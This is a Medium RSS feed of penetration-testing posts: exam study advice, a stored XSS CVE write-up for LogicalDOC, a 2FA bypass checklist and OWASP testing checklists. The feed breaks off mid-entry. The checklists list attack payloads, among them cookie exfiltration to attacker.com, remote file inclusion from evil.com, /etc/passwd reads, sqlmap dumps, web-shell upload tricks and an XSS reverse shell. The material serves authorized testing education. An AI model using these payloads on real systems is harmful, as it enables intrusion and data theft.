<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by thezeeshankhan on Medium]]></title>
        <description><![CDATA[Stories by thezeeshankhan on Medium]]></description>
        <link>https://medium.com/@thezeeshankhan?source=rss-eed4d088b950------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dyoR-fxqtYSHpmDWkImgpw.jpeg</url>
            <title>Stories by thezeeshankhan on Medium</title>
            <link>https://medium.com/@thezeeshankhan?source=rss-eed4d088b950------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 07:55:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thezeeshankhan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Free Resources to Crack CompTIA Pentest+ v3 Exam]]></title>
            <link>https://medium.com/@thezeeshankhan/free-resources-to-crack-comptia-pentest-v3-exam-9536ef211228?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/9536ef211228</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[comptia-certifications]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Fri, 14 Aug 2026 07:47:41 GMT</pubDate>
            <atom:updated>2026-08-14T07:47:41.625Z</atom:updated>
            <content:encoded><![CDATA[<h3>My Introduction</h3><p>This is Zeeshan I love to bypass stuff since childhood such as as assembling and dissembling the toys just to understand it’s working functionality, getting my mobile rooted to use a feature which was not available in that version of android such as to view the Password of Connected WiFi, Breaking the Password of my Windows Operating System etc… Fast forward to today currently working Full Time as Penetration Tester and Part Time as a Security Researcher Hunted CVEs so Far CVE-2025–13785, CVE-2025–12918, CVE-2025–12546 and CVE-2025–12547. And a Bug Hunter working on Bugcrowd, HackerOne and Some Self-Hosted Bug Bounty Programs. Additionally, I am International Public Speaker being the member of Toastmaster International (The Number # 01 Public Speaking Platform).</p><h3>CompTIA Pentest+ V3 (Newer Version)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*CyJlIpG8AzEgpbsSTu2BpQ.png" /></figure><p>A highly technical certification in theory to test your practical knowledge about the pentesting. Such as there is could be a question What is command of nmap to scan a TCP Port scanner from Port 2372–34232 to detect Open Port and current version running on it with less chances of it being detected also save the output in the txt format. Dear Reader, that’s why CompTIA has mentioned in the prerequisites: A minimum of 3 to 4 years of hands-on information security or related technical experience. The exam consist on:</p><ul><li>Multiple-Choice (Single Response)</li><li>Multiple-Choice (Multiple Response)</li><li>Drag-and-Drop / Matching</li><li>Performance-Based Items (PBIs)</li></ul><h3>Resources</h3><p>There are plethora of resources but I am specifically mentioning those which I have personally prepare from plus all of them are Free Off Cost.</p><h4>1. YouTube Playlists</h4><p><a href="https://youtube.com/playlist?list=PLKJGe-yb9iQbh3tz2tjk7H7WcR1KwYLlF&amp;si=Ap566Y9jW0OjmNo3"><strong>CompTIA PenTest+ v3 Exam Prep</strong></a><strong><br></strong><a href="https://youtube.com/playlist?list=PLLhk30tXRjJQ3AzdY2l4UW63r51d6Nw5S&amp;si=9jVygPcfNPF6Hneh"><strong>CompTIA PenTest+ (PT0–003) Exam-Style Practice Questions</strong></a></p><p>Focus on Practice Question pause the video and try to give answer first then Resume the Video and match your answer. If wrong then understand the concept. So the actual idea is to understand the concept Not to mug up. The actual question will definitely differ from the videos because due to NDA no Instructor can share actual questions but to give you an idea of how the Question could be.</p><h4>2. ChatGPT</h4><p>Download the <a href="https://www.innovativelearning.eu/news-resources/free-resources/downloads/comptia-pentest-pt0-003-exam-objectives.html">CompTIA Pentest+ 003 Exam Objectives </a>copy each section one by one such as 1.0 Engagement Management and paste into the ChatGPT and give the prompt like: “<em>I am preparing for CompTIA Pentest+ v3 exam so I will give you the content from exam objectives teach me the concept in concise and precise way along with tricks to memorize it. And the give me some MCQs and Performance Based Questions accordingly as the question could be expected in the real exam.” </em>Repeat the Process from <strong>section 1.1 </strong>till <strong>section 5.4 </strong>similarly. When you are cover all section then give the prompt to GPT to make a list of all tools in table format along with one line line usage and category of the tool such as Web, AD or Mobile etc. Similarly, you can make list of all Protocols, Penetration Testing standards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-JRlYK8zL_zuBVpKmeaZrg.png" /></figure><h4>3. Book</h4><p>This is last and most helpful resources I found is <a href="https://www.oreilly.com/library/view/comptia-pentest-study/9781394285006/cover.xhtml"><strong>CompTIA PenTest+ Study Guide, 3rd Edition</strong></a><strong> </strong>just make the account and you will get 10 days free access to read it. Go through each chapter hence you are already familiar with terms if any you found confusing topic give time to read it and make notes. Honestly, I haven’t felt bored even for a second while reading it. When you glance any chapter then move to Review Questions Section and match your answer with Appendix A: Answers to Review Questions. Make a list of all topic still confusion and read once again in detailed.</p><h3>Final Advice</h3><p>You can refer these <a href="https://www.studocu.com/en-us/document/western-governors-university/penetration-testing/pen-test-pt0-003-study-guide/158746652?sid=aa9ab1c4-5d07-48bd-a307-df8c0c11dd4d1786692290"><strong>Notes</strong> </a>as well but to download free off cost you have to upload some documents too. Try Not to approach any exam dumps because concepts are to be cleared not to memorize the questions. Follow the elimination technique if Four Options are there you are unsure which one is correct so you are supposed to eliminate the options about which are damn sure it couldn’t not be correct. Now you have less chances to be wrong because it is easy to guess from two options rather four.</p><p>I wish you best of luck! If you still any query ping me at <a href="http://www.linkedin.com/in/thezeeshan-khan">LinkedIn</a> I would love to help you out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9536ef211228" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found My First CVE - Beginner Guide]]></title>
            <link>https://medium.com/@thezeeshankhan/how-i-found-my-first-cve-beginner-guide-131d16d791b5?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/131d16d791b5</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[secure]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Sun, 26 Oct 2025 14:30:17 GMT</pubDate>
            <atom:updated>2025-10-26T18:24:13.026Z</atom:updated>
            <content:encoded><![CDATA[<p>Before I share how I found my first CVE, let’s talk about what a CVE actually is: <strong>CVE</strong> stands for <strong>Common Vulnerabilities and Exposures</strong>. An official record for security bugs found in software used around the world. Each vulnerability listed in the CVE database is given a unique ID <strong>CVE-XXXX–XXXXX</strong> Just like a police case gets a unique case number to track an incident. For a cybersecurity researcher, getting your first CVE means your work has been recognized globally by the security community.</p><figure><img alt="CVE-2025–11946" src="https://cdn-images-1.medium.com/max/1024/1*Q5jxNci9B1CD5A88j19Ujw.png" /><figcaption>CVE-2025–11946</figcaption></figure><h3>Table of Content</h3><p>🔴<strong> </strong><a href="#bb9b"><strong>Background</strong></a><strong><br>🔴 </strong><a href="#8b43"><strong>Methodology</strong></a><strong><br>🔴 </strong><a href="#0786"><strong>Product Details</strong></a><strong><br>🔴 </strong><a href="#60ac"><strong>Step of Reproduce</strong></a><strong><br>🔴 </strong><a href="#0117"><strong>Lesson Learned</strong></a><strong><br>🔴 </strong><a href="#07aa"><strong>Resources</strong></a><strong><br>🔴 </strong><a href="#7994"><strong>Final Remarks</strong></a></p><h4>Background</h4><p>I was doing bug bounty hunting on Bugcrowd and penetration testing for client unless I came across <a href="https://www.linkedin.com/in/kohihamed">Hamed Kohi </a>(Founder of <a href="https://cyberm.ca/">Cyber Mounties</a> Canada) on LinkedIn who found +30 CVEs, and out of curiosity, I reached out to him, expressing my desire to contribute to the cybersecurity community under the <a href="https://delta.cyberm.ca/">DELTA OBSCURA</a> mission. He shared a detailed guide to help me get started. if you’re interested, I highly recommend checking it out, and feel free to ping me on <a href="http://www.linkedin.com/in/thezeeshan-khan">LinkedIn</a> if you have any questions.</p><h4>Methodology</h4><p>The process starts by picking a target and searching for potential bugs. When a vulnerability is found, a private gist is created on GitHub to document it. The issue is then reported to the vendor via email. After coordinating with the vendor, the finding is submitted to VulDB, and if everything is validated, a CVE is assigned to officially track the vulnerability.</p><h4>Product Details</h4><p>🌐 <strong>Product Environment:</strong> Web<br>📦 <strong>Product Name:</strong> LogicalDOC Community Edition<br>🛠️ <strong>Product Vendor:</strong> LogicalDOC<br>📦 <strong>Product Version:</strong> up to 9.2.1<br>🔗 <strong>Product Link:</strong> <a href="https://www.logicaldoc.com/">https://www.logicaldoc.com</a><br>⚠️ <strong>Vulnerability Name:</strong> Cross-Site Scripting (XSS)<br>🟠 <strong>Severity:</strong> Medium</p><h4>Step of Reproduce</h4><p>1. Log in the account as a normal user<br>2. Navigate to <a href="http://127.0.0.1:8080/frontend.jsp"><strong>http://127.0.0.1:8080/frontend.jsp</strong></a><strong><br></strong>3. Go to Account → Contacts → Add Contact<br>4. Paste payload into any text field (First Name, Last Name, Company, Address, Phone, Mobile):</p><pre>&lt;img src=&quot;x&quot; onerror=&quot;alert(&#39;XSS By Zeeshan Khan&#39;)&quot;&gt;</pre><p>5. Save the contact<br>6. Right-click the contact and share to admin<br>7. Log in as admin and open the contact form the alert confirms stored XSS</p><h4>Lesson Learned</h4><p>Pick one to three types of bugs and start hunting on your target. If you don’t find anything, move on to another one that’s part of the process. Stay patient and keep going until you finally crack it. And trust me, the feeling you get when that email arrives confirming your first CVE assignment can’t be put into words. It’s something far more rewarding than earning a bounty or solving a CTF challenge.</p><h4>Resources</h4><p>🔗 <a href="https://docs.google.com/document/d/1pJ7uYTb6Fna3tVPboAn10kwnh2WTqlLc/edit?usp=sharing&amp;ouid=108396238208874723668&amp;rtpof=true&amp;sd=true">CVE Report Format</a><br>🔗 <a href="https://delta.cyberm.ca/media/uploads/2025/08/23/The_Complete_Guide_to_CVE_Hunting_by_Delta_Obscura.pdf">CVE Hunting Guide</a><br>🔗 <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-12-12-62246e07f700">Custom OWASP Testing Guide Checklist</a></p><h4>Final Remarks</h4><p>Every start has an end, and every end marks a new beginning — this CVE is just the start of many more to come. You can explore more of my work and research on my <a href="https://www.thezeeshankhan.site/">Portfolio</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=131d16d791b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2FA/MFA/OTP Bypass]]></title>
            <link>https://medium.com/@thezeeshankhan/2fa-mfa-otp-bypass-3a5b3f427d90?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a5b3f427d90</guid>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[2fa-bypass]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Thu, 21 Aug 2025 14:37:39 GMT</pubDate>
            <atom:updated>2025-08-21T14:38:44.566Z</atom:updated>
            <content:encoded><![CDATA[<p>Two-Factor Authentication (2FA) OTP and Multi-Factor Authentication (MFA) are often seen as strong defenses against account takeover. In this article, I’ve put together a practical checklist of common 2FA/MFA/OTP<strong> </strong>bypass techniques.</p><p>◻ Manually browse directly <strong>/dashboard</strong> or <strong>/account</strong> without 2FA<br>◻ Reuse the old OTP<br>◻ Use Account A Token with Account B<br>◻ Find Token of 2FA in response or URL<br>◻ Click on email verification link to bypass OTP<br>◻ Swap your 2FA session cookie into the victim’s session<br>◻ Reset password → log in with new creds → check if 2FA is skipped<br>◻ Bypass OTP via Login with Outh<br>◻ Brute Force the OTP Code and try to reduce number of request too<br>◻ Resend OTP is letting unlimited otp try without being blocked<br>◻ No Rate Limiting on SMS-Triggering or Email Bombing<br>◻ OTP stays valid across parallel requests through race condition<br>◻ Disable 2FA via CSRF or Clickjacking<br>◻ Capture the remember_me cookie and check if it’s guessable<br>◻ Send Request with <strong>X-Forwarded-For</strong> Header<br>◻ Enable 2FA on Account A is not invalidating Account B<br>◻ Check if sensitive data is exposed on 2FA Page<br>◻ Forgot Password or Password Reset Bypass the 2FA</p><p>This isn’t a guide for malicious use — it’s meant for security researchers, penetration testers, and developers to understand potential weaknesses and strengthen their applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a5b3f427d90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (12/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-12-12-62246e07f700?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/62246e07f700</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security-assessments]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[owasp]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Sat, 05 Jul 2025 06:38:05 GMT</pubDate>
            <atom:updated>2025-07-05T06:38:05.995Z</atom:updated>
            <content:encoded><![CDATA[<p>I didn’t start this series as an expert. I began as a learner in offensive security, trying to break down OWASP’s huge Testing Guide into simple, practical steps. Let’s be honest reading a 200+ page guide is one thing, but real learning happens when you actually apply it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V65oAxoXgPcxPTQ79PtnHg.png" /></figure><p>🔗 Click on each part below to access the checklist. Following the sequence ensures full web application pentesting coverage.</p><p>1️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-1-12-9e43326c6304"><strong>Information Gathering</strong></a><strong> </strong><br>2️⃣<a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-2-12-cbbcb32f23ab"> <strong>Configuration &amp; Deployment Testing</strong></a><br>3️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-3-12-2f8a8d44ca71"><strong>Identity Management</strong></a><br>4️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-4-12-8ef2c38d4872"><strong>Authentication Testing</strong></a><br>5️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-5-12-89c942caff11"><strong>Authorization Testing</strong></a><br>6️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-6-12-aff4a580733c"><strong>Session Management</strong></a><br>7️⃣<a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-7-12-8e2a2af9a30b"> <strong>Input Validation</strong></a><br>8️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-8-12-d50d1f4c6924"><strong>Error Handling</strong></a> <br>9️⃣ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-9-12-6b7dae1008af"><strong>Cryptography Testing</strong></a> <br>🔟 <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-10-12-ea12c088677f"><strong>Business Logic Testing</strong></a><br>⏸️ <a href="https://medium.com/@thezeeshankhan/owasp-pentest-series-11-12-6b3f2e3c07d6"><strong>Client-Side Testing</strong></a></p><h4><strong>Thanks ❤️ Note</strong></h4><p>I’m truly grateful to everyone who followed this series, shared their feedback, and supported the journey. With the core of my heart I want to thank <a href="https://www.linkedin.com/in/syed-ali-qadri-aabb75211"><strong>Syed Ali Qadri</strong></a><strong> </strong>a person who’s not just a friend but like a brother to me. This entire series wouldn’t have been possible without his constant support. He guided me throughout the journey, helped me whenever I got stuck, and his notes were incredibly valuable. Grateful beyond words, brother! 🤝</p><p>If you have any questions, ideas, or would like to collaborate on a future project. Whether it’s building something new, improving existing work, or creating more hands-on checklists feel free to reach out on <a href="http://www.linkedin.com/in/thezeeshan-khan"><strong>Linkedln</strong></a>. I’d love to connect, share thoughts, and work together on something meaningful 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62246e07f700" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (11/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-11-12-6b3f2e3c07d6?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b3f2e3c07d6</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 05:12:06 GMT</pubDate>
            <atom:updated>2025-07-03T05:14:02.091Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s web applications, client-side vulnerabilities are often overlooked yet they can be just as dangerous as server-side issues. From fake redirects to harmful scripts running in the browser, attackers are always finding creative ways to exploit what runs on the user’s end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9M_To-Bywi4SIHl3XUjZw.png" /></figure><p>⬜ Test innerHTML / document.write with &lt;img src=x onerror=1&gt;<br>⬜ Try ?user=&lt;h1&gt;Hi&lt;/h1&gt; for HTML injection<br>⬜ Use ?#redirect=javascript:alert(1) to check redirect<br>⬜ Iframe injection: ?url=x&quot;&gt;&lt;/iframe&gt;&lt;script&gt;alert(1)&lt;/script&gt;<br>⬜ Load script via hash: /#http://evil.com/x.js<br>⬜ Send Origin: attacker.com check Access-Control-Allow-Origin<br>⬜ Try CORS with withCredentials: true<br>⬜ Add iframe: &lt;iframe src=&quot;target/delete&quot;&gt; for clickjacking<br>⬜ Nest iframes to bypass framebusting<br>⬜ Intercept WebSocket and fuzz message JSON<br>⬜ Send WS msg: {&quot;msg&quot;:&quot;&lt;img src=x onerror=1&gt;&quot;}<br>⬜ Look for postMessage(&#39;*&#39;) or no origin check<br>⬜ Check if innerHTML = e.data in message handler<br>⬜ Try spoofed domain: owasp.org.attacker.com<br>⬜ Check localStorage / sessionStorage for tokens</p><p>By following this simple checklist, even beginners can catch many of these vulnerabilities early. Stay curious, test often, and always think like an attacker to build safer web applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b3f2e3c07d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (10/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-10-12-ea12c088677f?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea12c088677f</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[business-logic]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Sat, 28 Jun 2025 10:22:00 GMT</pubDate>
            <atom:updated>2025-06-28T10:31:54.338Z</atom:updated>
            <content:encoded><![CDATA[<p>Business logic bugs happen when users do things the app wasn’t meant to allow like skipping steps, reusing discounts, or uploading dangerous files. These issues aren’t always technical flaws but mistakes in how the app rules are built. This guide helps you test those logic gaps step by step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RafOMKfS7XJ_wD6YFdsxWw.png" /></figure><p>⬜ Inject invalid values in parameters to test backend validation<br>⬜ Bypass client-side checks using intercepting proxy<br>⬜ Modify hidden fields like price, role, or user_id<br>⬜ Replay modified requests with forged data<br>⬜ Change request method (GET ↔ POST) and observe behavior<br>⬜ Send same discount code multiple times<br>⬜ Skip steps in workflow like checkout or payment<br>⬜ Freeze request and resend after price changes<br>⬜ Interact faster than human speed to detect automation flaws<br>⬜ Modify quantity to negative in cart update<br>⬜ Add duplicate parameters in request<br>⬜ Send broken JSON or invalid XML payloads<br>⬜ Apply multiple discount codes at once<br>⬜ Try unauthorized file access using ID tampering<br>⬜ Resubmit payment request after altering basket<br>⬜ Try currency mismatch like PKR instead of USD<br>⬜ Skip third-party payment and visit success page directly<br>⬜ Use test credit cards on live payment gateway<br>⬜ Reuse free trial or referral multiple times<br>⬜ Abuse failed transactions to trigger edge-case logic<br>⬜ Trigger order processing with incomplete or forged data<br>⬜ Search for guessable voucher or promo codes<br>⬜ Tamper structured data fields in request<br>⬜ Submit forms with extra, missing, or wrong parameters<br>⬜ Try brute force on discount or voucher code field<br>⬜ Monitor if app reacts to abuse (logout, CAPTCHA, errors)<br>⬜ Test if application logs or blocks misuse attempts<br>⬜ Apply code, then remove items to drop below minimum<br>⬜ Use invalid user-agents or switch geo-location<br>⬜ Test if request can be repeated for double processing<br>⬜ Make donation or payment of 0.01 to check fee logic<br>⬜ Upload shell.php and try direct access<br>⬜ Use double extension: image.jpg.php<br>⬜ Set Content-Type: image/jpeg in request<br>⬜ Change extension case: shell.PhP<br>⬜ Use null byte: shell.php%00.jpg<br>⬜ Modify file magic bytes to fake image header<br>⬜ Upload ZIP with ../../../shell.php for path traversal<br>⬜ Access uploaded file via guessed URL or brute force</p><p>Fixing business logic flaws isn’t just about security. It’s about making sure the app works the way it’s supposed to. These tests help you think like an attacker, spot the weak spots, and protect the app from being misused in ways developers never expected.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea12c088677f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (9/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-9-12-6b7dae1008af?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b7dae1008af</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Wed, 25 Jun 2025 19:10:43 GMT</pubDate>
            <atom:updated>2025-06-25T19:10:43.199Z</atom:updated>
            <content:encoded><![CDATA[<p>Not sure if your app is using strong encryption? This quick checklist walks you through easy steps to spot weak cryptography before it becomes a real problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmC8FBjnsFZ3guIiCOtKZg.png" /></figure><p>⬜ Open site in browser and check if TLS version is 1.2 or 1.3<br>⬜ Click the lock icon and confirm certificate key size is 2048 bits or more<br>⬜ Check if signature algorithm is SHA-256 or stronger (not SHA-1/MD5)<br>⬜ Run openssl s_client -connect site.com:443check TLS and certificate<br>⬜ Visit http://site.com to see if login or forms work without HTTPS<br>⬜ Use Burp Suite to see if passwords, cookies, or tokens go over HTTP<br>⬜ Run grep -iE &quot;pass|key|secret&quot; to find secrets<br>⬜ Run grep -E &quot;[0-9]{6,}&quot; ./ to spot possible personal data in files<br>⬜ Search code for weak algos like MD5, SHA1, RC4, DES, ECB<br>⬜ Modify encrypted values and watch for error changes (padding oracle)</p><p>Weak cryptography often hides in plain sight. With this checklist, you have a simple way to uncover and fix those issues before attackers do. Stay one step ahead — test smart, stay secure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b7dae1008af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (8/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-8-12-d50d1f4c6924?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/d50d1f4c6924</guid>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[message]]></category>
            <category><![CDATA[error]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Tue, 24 Jun 2025 06:08:58 GMT</pubDate>
            <atom:updated>2025-06-24T06:08:58.280Z</atom:updated>
            <content:encoded><![CDATA[<p>We’ve all seen those weird error messages pop up when something goes wrong on a website. But the problem starts when those errors reveal too much, like server names, code paths, or tech details. In this article, we’ll explore how to spot these kinds of errors during testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U1RVY9CJltym4eq1Sro_8Q.png" /></figure><p>⬜ Identify input points where user data is accepted.<br>⬜ Determine expected data types (string, int, JSON, etc.).<br>⬜ Fuzz inputs with type-specific unexpected data.<br>⬜ Inject special characters (e.g., }, \, \0, \n) to break parsers.<br>⬜ Try CLRF injection in parameters to disrupt server logic.<br>⬜ Send oversized inputs where short ones are expected.<br>⬜ Use malformed JSON, XML, or headers.<br>⬜ Observe for stack traces, error messages, or debug info.<br>⬜ Check if errors expose internal services or file paths.<br>⬜ Identify which microservice or backend system responds.<br>⬜ Look for hidden errors in 200/302 responses.<br>⬜ Send malformed HTTP requests to trigger web server errors.<br>⬜ Access random/non-existent files to trigger 404s or 403s.<br>⬜ Trigger HTTP protocol violations to invoke server-level errors.<br>⬜ Compare error formats to identify underlying technologies.<br>⬜ Refine fuzz payloads based on detected backend behavior.<br>⬜ Note any unhandled exceptions that may bypass controls.<br>⬜ Attempt service disruption via error-induced DoS.<br>⬜ Ensure custom error pages are in use across the stack.<br>⬜ Check if all services respond with consistent error formats.</p><p>Errors are normal, but exposing too much through them isn’t. As Penetration testers, our job is to find where these messages leak sensitive details and help developers fix them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d50d1f4c6924" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (7/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-7-12-8e2a2af9a30b?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e2a2af9a30b</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[injection]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Mon, 23 Jun 2025 05:29:40 GMT</pubDate>
            <atom:updated>2025-06-23T05:29:40.542Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve ever tested a web app, you know how messy user input can get. A small input field can open doors to serious vulnerabilities from SQL injection to XSS, SSRF and CSRF whatever you name it. In web security, user input is one of the most common entry points for attackers. From login forms to search bars, every field is a potential target. This checklist helps you find input validation bugs step by step. It’s made for beginners nd anyone doing real-world testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2o-H-0QiLXPoK0E-zorD1w.png" /></figure><p>⬜ Try command injection with ;, &amp;&amp;, |, ${IFS}, or newline<br>⬜ Use blind command injection via ping, curl, or DNS calls<br>⬜ Try GET instead of POST request method to test HTTP Verb Tampering<br>⬜ Inject duplicate parameters to test HTTP Parameter Pollution<br>⬜ Tamper mailbox, subject, message_id for IMAP/SMTP injection<br>⬜ Inject *)(&amp; in login or search fields to test LDAP injection<br>⬜ Inject CRLF (%0d%0a) to test HTTP Response Splitting or Smuggling<br>⬜ Send crafted X-Forwarded-For headers to test HTTP Incoming Requests<br>⬜ Inject Host headers like Host: attacker.com for Host Header Injection<br>⬜ Add extra fields like isAdmin=true to test mass assignment<br>⬜ Use &#39; OR 1=1-- or UNION SELECT for SQL injection manually<br>⬜ Run sqlmap -r req.txt --dump-all to automate SQLi testing<br>⬜ Exploit WebSocket SQLi with sqlmap -u ws://... and JSON input<br>⬜ Inject username[$ne]=1 and similar for NoSQL injection<br>⬜ Try &lt;!--#exec cmd=&quot;ls&quot; --&gt; for Server-Side Includes injection<br>⬜ Access internal URLs via SSRF like ?url=http://127.0.0.1/admin<br>⬜ Bypass SSRF filters using hex IPs or subdomains<br>⬜ Try LFI with ?file=../../../../etc/passwd in path or param<br>⬜ Try RFI with ?file=http://evil.com/shell.txt and see if remote loads<br>⬜ Detect SSTI with {{7*7}} or ${7*7} in templates<br>⬜ Use tplmap to auto-exploit SSTI with OS commands<br>⬜ Encode XML payloads using %3C and %26xxe%3B for stealth<br>⬜ Inject DOM XSS using JSON like {&quot;html&quot;:&quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot;}<br>⬜ Run XSStrike or XSpear to detect and exploit XSS<br>⬜ Use basic XSS payloads like &lt;script&gt;alert(1)&lt;/script&gt;<br>⬜ Trigger blind XSS with fetch to http://attacker.com?c=document.cookie<br>⬜ Test stored XSS in profile, cart, comment, or upload fields<br>⬜ Bypass XSS filters with malformed tags or encoded payloads<br>⬜ Steal cookies or keys using fetch and document.cookie or onkeypress<br>⬜ Create XSS reverse shell using WebSocket and eval(e.data)</p><p>By using this checklist, you can stay consistent, catch more issues, and build a strong habit of testing step by step. Whether you’re practicing or working on real targets, keep this list close and stay sharp.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e2a2af9a30b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Pentest Series (6/12)]]></title>
            <link>https://medium.com/@thezeeshankhan/owasp-pentest-series-6-12-aff4a580733c?source=rss-eed4d088b950------2</link>
            <guid isPermaLink="false">https://medium.com/p/aff4a580733c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[session-management]]></category>
            <category><![CDATA[owasp]]></category>
            <dc:creator><![CDATA[thezeeshankhan]]></dc:creator>
            <pubDate>Fri, 30 May 2025 10:44:50 GMT</pubDate>
            <atom:updated>2025-05-30T10:44:50.496Z</atom:updated>
